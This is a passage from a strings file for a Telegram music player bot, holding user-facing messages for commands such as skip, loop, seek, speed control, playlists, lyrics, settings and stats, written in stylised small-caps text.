ᴛʀᴀᴄᴋs ɪɴ ǫᴜᴇᴜᴇ ғᴏʀ sᴘᴇᴄɪғɪᴄ sᴋɪᴘ.\n\nᴘʟᴇᴀsᴇ sᴋɪᴘ ʙᴇᴛᴡᴇᴇɴ 1 ᴀɴᴅ {0}" admin_12 : "» ғᴀɪʟᴇᴅ ᴛᴏ sᴋɪᴘ ᴛᴏ sᴘᴇᴄɪғɪᴄ ᴛʀᴀᴄᴋ.\n\nᴄʜᴇᴄᴋ ʟᴇғᴛ ǫᴜᴇᴜᴇ ʙʏ : /queue" admin_13 : "» ᴘʟᴇᴀsᴇ ʀᴇʟᴏᴀᴅ ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ᴠɪᴀ : /reload" admin_14 : "» ʏᴏᴜ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴘᴇʀᴍɪssɪᴏɴs ᴛᴏ ᴍᴀɴᴀɢᴇ ᴠɪᴅᴇᴏ ᴄʜᴀᴛs.\n\nʀᴇʟᴏᴀᴅ ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ᴠɪᴀ : /reload" admin_15 : "» ғᴀɪʟᴇᴅ ᴛᴏ sʜᴜғғʟᴇ.\n\nᴄʜᴇᴄᴋ ǫᴜᴇᴜᴇ ʙʏ : /queue" admin_16 : "» ǫᴜᴇᴜᴇ sʜᴜғғʟᴇᴅ ʙʏ {0}.\n\nᴄʜᴇᴄᴋ sʜᴜғғʟᴇᴅ ǫᴜᴇᴜᴇ ʙʏ : /queue" admin_17 : "ᴇxᴀᴍᴘʟᴇ :\n\n/loop enable/disable\n/loop 10/9/8/7" admin_18 : "» ʟᴏᴏᴘ ᴇɴᴀʙʟᴇᴅ ғᴏʀ {0} ᴛɪᴍᴇs ʙʏ : {1}." admin_19 : "» ʟᴏᴏᴘ ᴘʟᴀʏ ʜᴀs ʙᴇᴇɴ ᴅɪsᴀʙʟᴇᴅ ʙʏ : {0}." admin_20 : "ᴇxᴀᴍᴘʟᴇ :\n\n/seek ᴏʀ /seekback [ᴅᴜʀᴀᴛɪᴏɴ ɪɴ sᴇᴄᴏɴᴅs]" admin_21 : "» ᴘʟᴇᴀsᴇ ᴜsᴇ ɴᴜᴍᴇʀɪᴄ ᴅɪɢɪᴛs ғᴏʀ sᴇᴇᴋɪɴɢ ɪɴ sᴇᴄᴏɴᴅs." admin_22 : "» ʟɪᴠᴇ sᴛʀᴇᴀᴍs ᴄᴀɴ'ᴛ ʙᴇ sᴇᴇᴋᴇᴅ." admin_23 : "» ᴛʀʏ sᴇᴇᴋɪɴɢ ᴡɪᴛʜ ᴀ ʟᴏᴡᴇʀ ᴅᴜʀᴀᴛɪᴏɴ.\n\nᴘʟᴀʏᴇᴅ {0} ᴏᴜᴛ ᴏғ {1} ᴍɪɴᴜᴛᴇs." admin_24 : "sᴇᴇᴋɪɴɢ...\n\nᴘʟᴇᴀsᴇ ʜᴏʟᴅ ᴏɴ..." admin_25 : "» sᴛʀᴇᴀᴍ sᴜᴄᴄᴇssғᴜʟʟʏ sᴇᴇᴋᴇᴅ.\n\nᴅᴜʀᴀᴛɪᴏɴ : {0} ᴍɪɴᴜᴛᴇs\nʙʏ : {1}" admin_26 : "ғᴀɪʟᴇᴅ ᴛᴏ sᴇᴇᴋ." admin_27 : "» ᴏɴʟʏ ʏᴏᴜᴛᴜʙᴇ sᴛʀᴇᴀᴍ's sᴘᴇᴇᴅ ᴄᴀɴ ʙᴇ ᴄᴏɴᴛʀᴏʟʟᴇᴅ ᴄᴜʀʀᴇɴᴛʟʏ." admin_28 : "{0} sᴘᴇᴇᴅ ᴄᴏɴᴛʀᴏʟ ᴘᴀɴᴇʟ\n\nᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴs ʙᴇʟᴏᴡ ᴛᴏ ᴄʜᴀɴɢᴇ ᴛʜᴇ sᴘᴇᴇᴅ ᴏғ ᴄᴜʀʀᴇɴᴛʟʏ ᴘʟᴀʏɪɴɢ sᴛʀᴇᴀᴍ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ." admin_29 : "» ʙᴏᴛ ɪs ᴀʟʀᴇᴀᴅʏ ᴘʟᴀʏɪɴɢ ᴏɴ ɴᴏʀᴍᴀʟ sᴘᴇᴇᴅ." admin_30 : "» ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...\n\nsᴏᴍᴇᴏɴᴇ ᴇʟsᴇ ɪs ᴛʀʏɪɴɢ ᴛᴏ ᴄʜᴀɴɢᴇ ᴛʜᴇ sᴘᴇᴇᴅ ᴏғ ᴛʜᴇ sᴛʀᴇᴀᴍ." admin_31 : "ᴄʜᴀɴɢɪɴɢ sᴘᴇᴇᴅ..." admin_32 : "» ᴛʀʏɪɴɢ ᴛᴏ ᴄʜᴀɴɢᴇ ᴛʜᴇ sᴘᴇᴇᴅ ᴏғ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ...\n\nʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ : {0}" admin_33 : "» ғᴀɪʟᴇᴅ ᴛᴏ ᴄʜᴀɴɢᴇ ᴛʜᴇ sᴘᴇᴇᴅ ᴏғ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ." admin_34 : "» ᴄʜᴀɴɢᴇᴅ ᴛʜᴇ sᴘᴇᴇᴅ ᴏғ ᴛʜᴇ ᴏɴɢᴏɪɴɢ sᴛʀᴇᴀᴍ ᴛᴏ {0}x\n\nʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ : {1}" admin_35 : "ᴛʜᴇ ᴠᴏᴛɪɴɢ ʜᴀs ᴇɴᴅᴇᴅ ʙᴇᴄᴀᴜsᴇ ᴛʜᴇ ᴛʀᴀᴄᴋ ʜᴀs ᴇɴᴅᴇᴅ ғᴏʀ ᴡʜɪᴄʜ ᴛʜᴇ ᴠᴏᴛɪɴɢ ᴡᴀs ᴘʀᴏᴠɪᴅᴇᴅ." admin_36 : "ғᴀɪʟᴇᴅ ᴛᴏ ᴘᴇʀғᴏʀᴍ ᴛʜɪs ᴀᴄᴛɪᴏɴ ʙᴇᴄᴀᴜsᴇ ғᴏʀ ᴡʜɪᴄʜ ᴛʀᴀᴄᴋ ᴛʜᴇ ᴠᴏᴛɪɴɢ ᴡᴀs ᴘʀᴏᴠɪᴅᴇᴅ ɪs ᴇɪᴛʜᴇʀ ᴇɴᴅᴇᴅ ᴏʀ sᴛᴏᴘᴘᴇᴅ." admin_37 : "sᴜᴄᴄᴇssғᴜʟʟʏ ɢᴏᴛ {0} ᴜᴘᴠᴏᴛᴇs." admin_38 : "» ᴀᴅᴅᴇᴅ 1 ᴜᴘᴠᴏᴛᴇ." admin_39 : "» ʀᴇᴍᴏᴠᴇᴅ 1 ᴜᴘᴠᴏᴛᴇ." admin_40 : "ᴜᴘᴠᴏᴛᴇᴅ." start_1 : "{0} ɪs ᴀʟɪᴠᴇ ʙᴀʙʏ.\n\n✫ ᴜᴘᴛɪᴍᴇ : {1}" start_2 : "нєу {0}, 🥀\n\n๏ ᴛʜɪs ɪs {1} !\n\n➻ ᴀ ғᴀsᴛ & ᴘᴏᴡᴇʀғᴜʟ ᴛᴇʟᴇɢʀᴀᴍ ᴍᴜsɪᴄ ᴘʟᴀʏᴇʀ ʙᴏᴛ ᴡɪᴛʜ sᴏᴍᴇ ᴀᴡᴇsᴏᴍᴇ ғᴇᴀᴛᴜʀᴇs.\n\n──────────────────\n๏ ᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʜᴇʟᴩ ʙᴜᴛᴛᴏɴ ᴛᴏ ɢᴇᴛ ɪɴғᴏʀᴍᴀᴛɪᴏɴ ᴀʙᴏᴜᴛ ᴍʏ ᴍᴏᴅᴜʟᴇs ᴀɴᴅ ᴄᴏᴍᴍᴀɴᴅs." start_3 : "ʜᴇʏ {0},\nᴛʜɪs ɪs {1}\n\nᴛʜᴀɴᴋs ғᴏʀ ᴀᴅᴅɪɴɢ ᴍᴇ ɪɴ {2}, {3} ᴄᴀɴ ɴᴏᴡ ᴩʟᴀʏ sᴏɴɢs ɪɴ ᴛʜɪs ᴄʜᴀᴛ." start_4 : "🎄 sᴜᴘᴇʀɢʀᴏᴜᴘ ɴᴇᴇᴅᴇᴅ 🎄\n\nᴘʟᴇᴀsᴇ ᴄᴏɴᴠᴇʀᴛ ʏᴏᴜʀ ɢʀᴏᴜᴘ ᴛᴏ sᴜᴘᴇʀɢʀᴏᴜᴘ ᴀɴᴅ ᴛʜᴇɴ ᴀᴅᴅ ᴍᴇ ᴀɢᴀɪɴ.\n\nʜᴏᴡ ᴛᴏ ᴍᴀᴋᴇ sᴜᴘᴇʀɢʀᴏᴜᴘ ?\n- ᴍᴀᴋᴇ ʏᴏᴜʀ ɢʀᴏᴜᴘ's ᴄʜᴀᴛ ʜɪsᴛᴏʀʏ ᴠɪsɪʙʟᴇ ᴏɴᴄᴇ." start_5 : "↝ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛ ↜\n\nᴛʜɪs ᴄʜᴀᴛ ɪs ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴏɴ {0} ᴅᴀᴛᴀʙᴀsᴇ.\nʀᴇǫᴜᴇsᴛ ᴀ sᴜᴅᴏ ᴜsᴇʀ ᴛᴏ ᴜɴʙʟᴀᴄᴋʟɪsᴛ ʏᴏᴜʀ ᴄʜᴀᴛ ᴏʀ ᴠɪsɪᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ." start_6 : "😲 ᴛʀᴀᴄᴋ ɪɴғᴏʀᴍᴀᴛɪᴏɴ 😲\n\n📌 ᴛɪᴛʟᴇ : {0}\n\n⏳ ᴅᴜʀᴀᴛɪᴏɴ : {1} ᴍɪɴᴜᴛᴇs\n👀 ᴠɪᴇᴡs : {2}\n⏰ ᴩᴜʙʟɪsʜᴇᴅ ᴏɴ : {3}\n📎 ᴄʜᴀɴɴᴇʟ : {5}\n\n🥀 sᴇᴀʀᴄʜ ᴩᴏᴡᴇʀᴇᴅ ʙʏ {6}" help_1 : "ᴄʜᴏᴏsᴇ ᴛʜᴇ ᴄᴀᴛᴇɢᴏʀʏ ғᴏʀ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴɴᴀ ɢᴇᴛ ʜᴇʟᴩ.\nᴀsᴋ ʏᴏᴜʀ ᴅᴏᴜʙᴛs ᴀᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ\n\nᴀʟʟ ᴄᴏᴍᴍᴀɴᴅs ᴄᴀɴ ʙᴇ ᴜsᴇᴅ ᴡɪᴛʜ : /" help_2 : "ᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ ᴛᴏ ɢᴇᴛ ᴍʏ ʜᴇʟᴘ ᴍᴇɴᴜ ɪɴ ʏᴏᴜʀ ᴘᴍ." #Playlist playlist_1 : "**ᴜsᴀɢᴇ:** /play [ᴍᴜsɪᴄ ɴᴀᴍᴇ ᴏʀ ʏᴏᴜᴛᴜʙᴇ ʟɪɴᴋ ᴏʀ ʀᴇᴘʟʏ ᴛᴏ ᴀᴜᴅɪᴏ]\n\nɪꜰ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴘʟᴀʏ ʙᴏᴛ's sᴇʀᴠᴇʀ ᴘʟᴀʏʟɪsᴛ ! ᴘʀᴇss ᴛʜᴇ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ." playlist_2 : "ɢᴇᴛᴛɪɴɢ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ... ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ !" playlist_3 : "ʏᴏᴜ ʜᴀᴠᴇ ɴᴏ ᴘʟᴀʏʟɪsᴛ ᴏɴ ʙᴏᴛ's sᴇʀᴠᴇʀ." playlist_4 : "ꜰᴇᴛᴄʜᴇᴅ ᴘʟᴀʏʟɪsᴛ:\n\n" playlist_5 : "Duration : {0} Mins..." playlist_6 : "ᴄᴏɴᴛᴀᴄᴛ ᴍᴇ ɪɴ ᴘᴍ ꜰᴏʀ ᴅᴇʟᴇᴛɪᴏɴ ᴏꜰ ᴘʟᴀʏʟɪsᴛs." playlist_7 : "ᴛʀᴀᴄᴋs ɪɴsɪᴅᴇ ᴘʟᴀʏʟɪsᴛ: {0}\n\nᴘʀᴇss ᴛʜᴇ ʙᴜᴛᴛᴏɴs ᴛᴏ ᴅᴇʟᴇᴛᴇ ᴀ ᴘᴀʀᴛɪᴄᴜʟᴀʀ ᴛʀᴀᴄᴋ ɪɴ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ.\n\nᴛᴏ ᴅᴇʟᴇᴛᴇ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ: ᴘʀᴇss ᴅᴇʟ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ ʙᴜᴛᴛᴏɴ." playlist_8 : "ᴀʟʀᴇᴀᴅʏ ᴇxɪsᴛs\n\nᴛʜɪs ᴛʀᴀᴄᴋ ᴇxɪsᴛs ɪɴ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ." playlist_9 : "sᴏʀʀʏ ! ʏᴏᴜ ᴄᴀɴ ᴏɴʟʏ ʜᴀᴠᴇ {0} ᴍᴜsɪᴄ ɪɴ ᴀ ᴘʟᴀʏʟɪsᴛ ʙᴀʙʏ." playlist_10 : "ᴘʟᴀʏʟɪsᴛ ᴀᴅᴅɪᴛɪᴏɴ\n\n{0}\nᴀᴅᴅᴇᴅ ᴛᴏ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ." playlist_11 : "sᴜᴄᴄᴇssꜰᴜʟʟʏ ᴅᴇʟᴇᴛᴇᴅ ʏᴏᴜʀ ᴛʀᴀᴄᴋ." playlist_12 : "ꜰᴀɪʟᴇᴅ ᴛᴏ ᴅᴇʟᴇᴛᴇᴅ ʏᴏᴜʀ ᴛʀᴀᴄᴋ." playlist_13 : "ᴅᴇʟᴇᴛᴇᴅ ʏᴏᴜʀ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛs ꜰʀᴏᴍ ᴛʜᴇ sᴇʀᴠᴇʀ. " playlist_14 : "**ᴀʀᴇ ʏᴏᴜ sᴜʀᴇ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴅᴇʟᴇᴛᴇ ʏᴏᴜʀ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ ?**\n\nʏᴏᴜ'ʟʟ ʟᴏsᴛ ʏᴏᴜʀ ᴘʟᴀʏʟɪsᴛ ᴀɴᴅ ᴛʜɪs ᴄᴀɴ'ᴛ ʙᴇ ʀᴇᴄᴏᴠᴇʀᴇᴅ ʟᴀᴛᴇʀ." playlist_15 : "[ᴄʜᴇᴄᴋᴏᴜᴛ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ]({0})" playlist_16 : "Queued Playlist :" playlist_17 : "Position -" playlist_18 : "ᴀᴅᴅᴇᴅ {0} ᴛʀᴀᴄᴋs ᴛᴏ ᴏ̨ᴜᴇᴜᴇ : [ᴄʜᴇᴄᴋ]({1})" lang_1 : "» ᴘʟᴇᴀsᴇ ᴄʜᴏᴏsᴇ ᴛʜᴇ ʟᴀɴɢᴜᴀɢᴇ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴɴᴀ sᴇᴛ ᴀs ᴛʜɪs ɢʀᴏᴜᴘ's ᴅᴇғᴀᴜʟᴛ ʟᴀɴɢᴜᴀɢᴇ :" lang_2 : "ʟᴀɴɢᴜᴀɢᴇ ᴄʜᴀɴɢᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ." lang_3 : "ғᴀɪʟᴇᴅ ᴛᴏ ᴄʜᴀɴɢᴇ ʟᴀɴɢᴜᴀɢᴇ." lang_4 : "Yᴏᴜ'ʀᴇ ᴀʟʀᴇᴀᴅʏ ᴏɴ ᴛʜᴇ sᴀᴍᴇ ʟᴀɴɢᴜᴀɢᴇ." #Lyrics lyrics_1 : "**ᴜsᴀɢᴇ:**\n\n/lyrics [ ᴍᴜsɪᴄ ɴᴀᴍᴇ]" lyrics_2 : "sᴇᴀʀᴄʜɪɴɢ ʟʏʀɪᴄs..." lyrics_3 : "❌ ꜰᴀɪʟᴇᴅ ᴛᴏ ꜰᴇᴛᴄʜ ʟʏʀɪᴄs 😭.\n\n💡**ᴛʀɪᴇᴅ sᴇᴀʀᴄʜɪɴɢ ꜰᴏʀ:** {0}" lyrics_4 : "ᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ ᴀɴᴅ ɢᴇᴛ sᴇᴀʀᴄʜᴇᴅ ʟʏʀɪᴄs ᴛᴏ ᴀᴠᴏɪᴅ ʟᴏɴɢ sᴘᴀᴍ ᴛʏᴘᴇs ʟʏʀɪᴄs sᴇᴀʀᴄʜ." setting_1 : "{0} sᴇᴛᴛɪɴɢs ᴘᴀɴᴇʟ\n\nᴄʜᴀᴛ ɪᴅ : {1}\nᴄʜᴀᴛ ᴛɪᴛʟᴇ : {2}\n\nᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴs ʙᴇʟᴏᴡ ғᴏʀ ᴄʜᴀɴɢɪɴɢ sᴇᴛᴛɪɴɢs." setting_2 : "» ᴅɪʀᴇᴄᴛ : ᴘʟᴀʏs sᴇᴀʀᴄʜ ǫᴜᴇʀɪᴇs ᴅɪʀᴇᴄᴛʟʏ.\n\n» ɪɴʟɪɴᴇ : ʀᴇᴛᴜʀɴs ɪɴʟɪɴᴇ ʙᴜᴛᴛᴏɴs ꜰᴏʀ ᴄʜᴏᴏsɪɴɢ ʙᴇᴛᴡᴇᴇɴ ᴠɪᴅᴇᴏ & ᴀᴜᴅɪᴏ." setting_3 : "» ᴇᴠᴇʀʏᴏɴᴇ : ᴀɴʏᴏɴᴇ ᴄᴀɴ ᴜsᴇ ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs [sᴋɪᴘ, ᴘᴀᴜsᴇ, ʀᴇsᴜᴍᴇ ᴇᴛᴄ.] ᴘʀᴇsᴇɴᴛ ɪɴ ᴛʜɪs ɢʀᴏᴜᴘ.\n\n» ᴀᴅᴍɪɴ ᴏɴʟʏ : ᴏɴʟʏ ᴀᴅᴍɪɴs ᴀɴᴅ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ᴄᴀɴ ᴜsᴇ ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs." setting_4 : "» ɴᴏ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ꜰᴏᴜɴᴅ." setting_5 : "» ɢʀᴏᴜᴘ : ᴘʟᴀʏs ᴍᴜsɪᴄ ɪɴ ᴛʜᴇ ɢʀᴏᴜᴘ ᴡʜᴇʀᴇ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ ɪs ɢɪᴠᴇɴ.\n\n» ᴄʜᴀɴɴᴇʟ : ᴘʟᴀʏs ᴍᴜsɪᴄ ɪɴ ᴛʜᴇ ᴄʜᴀɴɴᴇʟ ʏᴏᴜ ᴡᴀɴᴛ. sᴇᴛ ᴄʜᴀɴɴᴇʟ ɪᴅ ᴠɪᴀ /channelplay" setting_6 : "» ᴇᴠᴇʀʏᴏɴᴇ : ᴀɴʏᴏɴᴇ ᴘʀᴇsᴇɴᴛ ɪɴ ᴛʜɪs ɢʀᴏᴜᴘ ᴄᴀɴ ᴘʟᴀʏ ᴍᴜsɪᴄ ʜᴇʀᴇ.\n\n» ᴀᴅᴍɪɴ ᴏɴʟʏ: ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴘʟᴀʏ ᴛʜᴇ ᴍᴜsɪᴄ ɪɴ ᴛʜɪs ɢʀᴏᴜᴘ." setting_7 : "» ᴘʟᴇᴀsᴇ ᴅᴇғɪɴᴇ ᴄʜᴀɴɴᴇʟ ɪᴅ ᴠɪᴀ /channelplay" setting_8 : "ᴡʜᴇɴ ᴛʜɪs ᴍᴏᴅᴇ ɪs ᴇɴᴀʙʟᴇᴅ, ᴘᴇᴏᴘʟᴇ ᴡɪᴛʜᴏᴜᴛ ᴀᴅᴍɪɴ ʀɪɢʜᴛs ᴄᴀɴ ᴜsᴇ ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs ᴀғᴛᴇʀ ᴀ ᴄᴇʀᴛᴀɪɴ ᴀᴍᴏᴜɴᴛ ᴏғ ᴠᴏᴛᴇs." setting_9 : "ᴄᴜʀʀᴇɴᴛ ᴜᴘᴠᴏᴛᴇs ʀᴇǫᴜɪʀᴇᴅ ғᴏʀ ᴜsɪɴɢ ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs ᴀʀᴇ : {0}" setting_10 : "ᴠᴏᴛɪɴɢ ᴍᴏᴅᴇ ɪs ᴅɪsᴀʙʟᴇᴅ." setting_11 : "ʟᴏᴡᴇsᴛ ᴜᴘᴠᴏᴛᴇs ᴄᴏᴜɴᴛ ᴄᴀɴ ʙᴇ 2. ʏᴏᴜ ᴄᴀɴ'ᴛ sᴇᴛ ʙᴇʟᴏᴡ 2" setting_12 : "ʜɪɢʜᴇsᴛ ᴜᴘᴠᴏᴛᴇs ᴄᴏᴜɴᴛ ᴄᴀɴ ʙᴇ 15. ʏᴏᴜ ᴄᴀɴ'ᴛ sᴇᴛ ᴀʙᴏᴠᴇ 15" set_cb_1 : "ɢᴇᴛᴛɪɴɢ ᴀᴜᴛʜ ᴜsᴇʀs ᴩᴀɴᴇʟ..." set_cb_2 : "ɢᴇᴛᴛɪɴɢ ᴩʟᴀʏ ᴍᴏᴅᴇ ᴩᴀɴᴇʟ..." set_cb_3 : "sᴇᴛᴛɪɴɢ ᴜᴩ ᴄʜᴀɴɢᴇs..." set_cb_4 : "» ғᴇᴛᴄʜɪɴɢ ᴀᴜᴛʜᴏʀɪᴢᴇᴅ ᴜsᴇʀs ʟɪsᴛ..." set_cb_5 : "» ɢᴇᴛᴛɪɴɢ ʙᴀᴄᴋ..." gstats_1 : "ɢᴇᴛᴛɪɴɢ {0} sᴛᴀᴛs ᴀɴᴅ ɪɴғᴏʀᴍᴀᴛɪᴏɴ...\n\nɪᴛ ᴍᴀʏ ᴛᴀᴋᴇ ᴀ ᴡʜɪʟᴇ, ᴘʟᴇᴀsᴇ ʜᴏʟᴅ ᴏɴ..." gstats_2 : "ᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴs ʙᴇʟᴏᴡ ᴛᴏ ᴄʜᴇᴄᴋ ᴛʜᴇ sᴛᴀᴛs ᴏғ {0}." gstats_3 : "{0} sᴛᴀᴛs ᴀɴᴅ ɪɴғᴏʀᴍᴀᴛɪᴏɴ :\n\nᴀssɪsᴛᴀɴᴛs : {1}\nʙʟᴏᴄᴋᴇᴅ : {2}\nᴄʜᴀᴛs: {3}\nᴜsᴇʀs : {4}\nǫᴜᴇʀɪᴇs: {5}\nᴍᴏᴅᴜʟᴇs : {6}\nsᴜᴅᴏᴇʀs : {7}\n\nᴀᴜᴛᴏ ʟᴇᴀᴠɪɴɢ ᴀssɪsᴛᴀɴᴛ : {8}\nᴘʟᴀʏ ᴅᴜʀᴀᴛɪᴏɴ ʟɪᴍɪᴛ : {9} ᴍɪɴᴜᴛᴇs" gstats_4 : "ᴛʜɪs ʙᴜᴛᴛᴏɴ ɪs ᴏɴʟʏ ғᴏʀ sᴜᴅᴏᴇʀs." gstats_5 : "{0} sᴛᴀᴛs ᴀɴᴅ ɪɴғᴏʀᴍᴀᴛɪᴏɴ :\n\nᴍᴏᴅᴜʟᴇs : {1}\nᴘʟᴀᴛғᴏʀᴍ : {2}\nʀᴀᴍ : {3}\nᴘʜʏsɪᴄᴀʟ ᴄᴏʀᴇs : {4}\nᴛᴏᴛᴀʟ ᴄᴏʀᴇs : {5}\nᴄᴘᴜ ғʀᴇǫᴜᴇɴᴄʏ : {6}\n\nᴘʏᴛʜᴏɴ : {7}\nᴘʏʀᴏɢʀᴀᴍ : {8}\nᴘʏ-ᴛɢᴄᴀʟʟs : {9}\n\nsᴛᴏʀᴀɢᴇ ᴀᴠᴀɪʟᴀʙʟᴇ : {10} ɢɪʙ\nsᴛᴏʀᴀɢᴇ ᴜsᴇᴅ : {11} ɢɪʙ\nsᴛᴏʀᴀɢᴇ ʟᴇғᴛ : {12} ɢɪʙ\n\nsᴇʀᴠᴇᴅ ᴄʜᴀᴛs : {13}\nsᴇʀᴠᴇᴅ ᴜsᴇʀs : {14}\nʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs : {15}\nsᴜᴅᴏ ᴜsᴇʀs : {16}\n\nᴛᴏᴛᴀʟ ᴅʙ sɪᴢᴇ : {17} ᴍʙ\nᴛᴏᴛᴀʟ ᴅʙ sᴛᴏʀᴀɢᴇ : {18} ᴍʙ\nᴛᴏᴛᴀʟ ᴅʙ ᴄᴏʟʟᴇᴄᴛɪᴏɴs : {19}\nᴛᴏᴛᴀʟ ᴅʙ ᴋᴇʏs : {20}" playcb_1 : "» ᴀᴡᴡ, ᴛʜɪs ɪs ɴᴏᴛ ғᴏʀ ʏᴏᴜ ʙᴀʙʏ." playcb_2 : "» ɢᴇᴛᴛɪɴɢ ɴᴇxᴛ ʀᴇsᴜʟᴛ,\n\nᴘʟᴇᴀsᴇ ᴡᴀɪᴛ..." cplay_1 : "» ʏᴏᴜ ᴄᴀɴ ᴘʟᴀʏ ᴍᴜsɪᴄ ɪɴ ᴄʜᴀɴɴᴇʟs ғʀᴏᴍ {0} ᴛᴏ ᴀɴʏ ᴄʜᴀɴɴᴇʟ ᴏʀ ʏᴏᴜʀ ᴄʜᴀᴛ's ʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ.\n\nғᴏʀ ʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ :\n/channelplay linked\n\nғᴏʀ ᴀɴʏ ᴏᴛʜᴇʀ ᴄʜᴀɴɴᴇʟ :\n/channelplay [ᴄʜᴀɴɴᴇʟ ɪᴅ]" cplay_2 : "» ᴛʜɪs ᴄʜᴀᴛ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴀɴʏ ʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ." cplay_3 : "» ᴄʜᴀɴɴᴇʟ ᴅᴇғɪɴᴇᴅ ᴛᴏ {0}.\nᴄʜᴀɴɴᴇʟ ɪᴅ : {1}" cplay_4 : "» ғᴀɪʟᴇᴅ ᴛᴏ ɢᴇᴛ ᴄʜᴀɴɴᴇʟ.\n\nᴍᴀᴋᴇ sᴜʀᴇ ʏᴏᴜ'ᴠᴇ ᴀᴅᴅᴇᴅ ᴛʜᴇ ʙᴏᴛ ɪɴ ʏᴏᴜʀ ᴄʜᴀɴɴᴇʟ ᴀɴᴅ ᴘʀᴏᴍᴏᴛᴇᴅ ᴀs ᴀᴅᴍɪɴ." cplay_5 : "ᴏɴʟʏ ᴄʜᴀɴɴᴇʟs ᴀʀᴇ sᴜᴘᴘᴏʀᴛᴇᴅ." cplay_6 : "» ʏᴏᴜ ɴᴇᴇᴅ ᴛᴏ ʙᴇ ᴛʜᴇ ᴏᴡɴᴇʀ ᴏғ ᴛʜᴇ ᴄʜᴀɴɴᴇʟ {0} ᴛᴏ ᴄᴏɴɴᴇᴄᴛ ɪᴛ ᴡɪᴛʜ ᴛʜɪs ɢʀᴏᴜᴘ.\nᴄʜᴀɴɴᴇʟ's ᴏᴡɴᴇʀ : @{1}\n\nᴀʟᴛᴇʀɴᴀᴛɪᴠᴇʟʏ ʏᴏᴜ ᴄᴀɴ ʟɪɴᴋ ʏᴏᴜʀ ɢʀᴏᴜᴘ ᴛᴏ ᴛʜᴀᴛ ᴄʜᴀɴɴᴇʟ ᴀɴᴅ ᴛʜᴇɴ ᴛʀʏ ᴄᴏɴɴɴᴇᴄᴛɪɴɢ ᴡɪᴛʜ /channelplay linked" cplay_7 : "» ᴄʜᴀɴɴᴇʟ ᴘʟᴀʏ ᴅɪsᴀʙʟᴇᴅ." # Song song_1 : "ʏᴏᴜ ᴄᴀɴ ᴅᴏᴡɴʟᴏᴀᴅ ᴍᴜsɪᴄ ᴏʀ ᴠɪᴅᴇᴏ ꜰʀᴏᴍ ʏᴏᴜᴛᴜʙᴇ ᴏɴʟʏ ɪɴ ᴘʀɪᴠᴀᴛᴇ ᴄʜᴀᴛ. ᴘʟᴇᴀsᴇ sᴛᴀʀᴛ ᴍᴇ ɪɴ ᴘʀɪᴠᴀᴛᴇ ᴄʜᴀᴛ." song_2 : "**ᴜsᴀɢᴇ:**\n\n/song [ᴍᴜsɪᴄ ɴᴀᴍᴇ] ᴏʀ [ʏᴏᴜᴛᴜʙᴇ ʟɪɴᴋ]" song_3 : "ʟɪᴠᴇ ʟɪɴᴋ ᴅᴇᴛᴇᴄᴛᴇᴅ. ɪ ᴀᴍ ɴᴏᴛ ᴀʙʟᴇ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ ʟɪᴠᴇ ʏᴏᴜᴛᴜʙᴇ ᴠɪᴅᴇᴏs. " song_4 : "📌**ᴛɪᴛʟᴇ**:- {0}\n\nsᴇʟᴇᴄᴛ ᴛʜᴇ ᴛʏᴘᴇ ɪɴ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ." song_5 